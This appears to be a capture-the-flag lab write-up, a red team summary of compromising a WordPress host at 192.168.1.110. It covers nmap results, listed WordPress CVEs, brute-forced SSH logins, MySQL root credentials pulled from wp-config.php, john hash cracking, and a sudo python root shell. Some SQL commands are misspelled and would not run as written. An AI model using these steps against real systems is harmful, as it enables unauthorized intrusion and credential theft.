# **Red Team: Summary of Operations**

## **Table of Contents**

* Exposed Services
* Critical Vulnerabilities
* Exploitation

### **Exposed Services**

Nmap scan results for each machine reveal the below services and OS details:

$ nmap -sV 192.168.1.110

This scan identifies the services below as potential points of entry:

* Target 1
  + **Port 22 (ssh)**
  + **Port 80 (http)**
  + Port 111 (rpcbind)
  + Port 139 (netbios-ssn)
  + Port 445 (netbios-ssn)

The following vulnerabilities were identified on each target:

* Target 1
  + **WordPress XMLRPC GHOST Vulnerability Scanner (CVE-2015-0235)**
  + **WordPress XMLRPC DoS (CVE-2014-5266)**
  + **WordPress XML-RPC Username/Password Login Scanner (CVE-1999-0502)**
  + **WordPress Pingback Locator (CVE-2013-0235)**

### **Exploitation**

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

* Target 1
  + flag1.txt:
    - **Exploit Used**
      * SSH in as Michael after brute forcing his password
      * ssh michael@192.168.1.110
      * pw: michael
      * cd /var/www/html
      * ls -l
      * grep 'flag' service.html
  + flag2.txt:
    - **Exploit Used**
      * SSH in as michael after brute forcing his password
      * ssh michael@192.168.1.110
      * pw: michael
      * cd /var/www/
      * ls -l
      * cat flag2.txt
  + flag3.txt:
    - **Exploit Used**
      * SSH in as michael after brute forcing his password
      * cd /var/www/html/wordpress
      * nano wp-config.php
      * mySQL -u root -p
      * pw: R@v3nSecurity
      * show datebases;
      * use wordpress;
      * show table;
      * select \* from wp\_posts;
  + flag4.txt
    - **Exploit Used**
      * SSH in as steven after gaining hashes from wp-config.php and using john to crack the password. escalated to root using python
      * ssh steven@192.168.1.110
      * pw: pink84
      * sudo -l
      * sudo python -c 'import pty;pty.spawn("/bin/bash")'
      * cd ~
      * ls
      * cat flag4